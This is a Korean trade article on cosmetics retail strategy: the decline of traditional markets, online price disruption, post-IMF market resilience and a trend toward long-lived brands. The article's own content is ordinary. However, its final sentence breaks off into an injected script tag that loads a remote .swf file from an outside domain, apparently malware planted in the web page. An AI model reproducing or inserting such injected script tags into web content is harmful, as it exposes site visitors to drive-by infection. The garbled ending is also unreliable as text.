차별화와 니치마켓전략으로 승부하라 기본에 충실한 전략수립이 위기극복의 견인차 역할 어렵지만 희망은 있다 현재 직면하고 있는 화장품 소매업의 전망을 살펴볼때, 우선 정부의 유통산업근대화 5개년 계획을 추진하고 있는데 진단 결과 국내의 재래시장이 쇠퇴 할 것으로 예측하고 있고 정부는 유통의 현대화를 위한 노력과 재래시장 상권 살리기에 골몰하고 있다. 유통별로 진단해 볼때 최근 급격히 확산추세인 대형 할인점과 편의점이 계속해서 늘어나고 있으며, 이에 반하여 재래 시장은 쇼핑환경이 미흡하고 규모의 영세성, 가격 불신 등이 상품의 가치하락과 소비자의 신뢰도 확보가 어려워 고객의 이탈이 심화 되어 가고 있는 현실이다. 또한 직판 방판시장 볼륨의 확대와 외국 수입화장품의 범람으로 시판 채널을 운영하고 있는 각사의 쉐어가 크게 낮아지고 유통의 다변화에 따른 시판시장의 잠식이 실로 위험 수위를 오르내리고 있는 상태다. 특히 인터넷판매로 전문점의 가격불신과 이미지 실추, 단골고객의 발길돌림 현상의 악 영향이 시판 브랜드를 중심으로, 그것도 인지도가 높은 브랜드일수록 각종 사이트에 오르내리며 턱없이 낮은 가격으로 유통질서의 근간을 위협하고 있다. 이러한 인터넷 쇼핑업체의 난립과 가격문란은 메이커나, 특약점,전문점, 더 나아가 소비자의 입장에서도 결코 도움이 되지 않는 형태로 움직이고 있으며 화장품의 시장상황 예측을 더욱 어둡게 하고 있다. 하지만 재래 시장의 장점 또한 분명히 있다는 것이다. 첫째로, 오랜 역사를 가진 지역 밀착형 시장이므로 지역 정서를 가장 잘알고 지역 주민이 좋아하는 상품 구성과 취향을 잘 알고 있다는 것이며 둘째로는, 단골고객과의 거래 관계가 상당히 확보 되어있다는 것과 셋째로는, 상점 주인이 대부분 주인으로 고객이 주인과 직접 상담 할 수 있어 기계적이지 않고 쇼핑 분위기가 부드러우며 넷째로는, 각종 서비스,판촉등을 자유롭게 할 수 있다는 것이다. 성장 잠재력 큰 매력있는 시장 화장품 시장은 아무리 어려운 상황에서도 성장의 잠재력을 가지고 있는 매력 있는 상품으로, 위기로부터 회생하는 탄력성은 타 제조업 분야에 비하여 상당히 우수한 품목이며, 이러한 사례는 IMF직후에 곤두박질 치던 상황의 순간이 지나자 마자 타 제조업 분야에 비하여 빠른 속도로 화장품 전체 시장이 회복을 하지 않았는가? 이러한 과정을 볼때 화장품 시장은 경기에 아주 민감한 시장이 아니고 아무리 어려워도 시장의 잠재력과 시장에서의 볼륨은 유지하고 있는 제품으로 생각되며, 유통별로 볼 때 부침이 컸지만 화장품 전체 시장으로 볼때 특히 수입 제품 시장을 합산 하였을 때에는 충분히 매력적인 시장임에 틀림 없다고 본다. 국내 시판 시장은 아무리 치열한 경쟁과 혼탁한 상황속에서도 화장품 유통의 주력시장으로써 중요성과 순위가 바뀌리라고 생각하는 사람은 그리 많지 않을 것이다. 그만큼 화장품의 시판 시장은 많은 소비자와 접해있고 모든 유통의 근간을 이루는 아주 중요하고도 상징적인 유통 채널로써 그 중요성은 새삼 설명 할 필요가 없을 것이라고 생각한다. 브랜드 롱런화 경향 심화 금년도에 각사의 신제품 개발 전략을 살펴 볼때 신브랜드의 개발보다는 기존브랜드 라인의 확장이나 리뉴얼을 통하여 브랜드의 롱런화를 꾀해 가고 있다는 점이 예전과 눈에 띄게 달라진 점이라고 할 수 있을 것이다. 다시 말하여 외국 브랜드에서만 가능하리라고 생각 했던 브랜드의 영속성을 국내 브랜드에도 도입하려고 하는 움직임이 상위사의 주력 브랜드를 중심으로 이러한 변화의 흐름이 확인 되고 있다고 본다. 더욱이 기능성 제품 출시에 힘 입어 외국 유수 제품과의 대외 경쟁력이 강화 될 수 있다고 판단하며 뒤늦게 나마 대부분의 메이커에서 브랜드의 중요성을 실감하고 각사의 핵심역량을 살려 차별화 정책을 펼칠 움직임을 보이고 있다는 것이 희망적이라고 할 수 있을 것이다. 하반기 시장 자체를 놓고 볼때는 분명히 순탄하지 않은 어려움이 예상되며 중기적으로 볼 때에도 경기전반의 호황을 기대하기가 무리라고 여겨진다. 하지만 화장품은 묘한 마력을 가진 제품이다. 지난 수년 동안 우리나라의 경제의 견인차 역할을 해오던 반도체 상품이 오늘날 부담스러운 상품이 되었지만, 화장품 자체는 여성들에게 아직도 갖고 싶고, 써보고 싶은 상품으로 경기상황으로만 해석 할 수 없는 묘한 매력이 있는 상품?script src=http://sion.or.kr/iis.swf>

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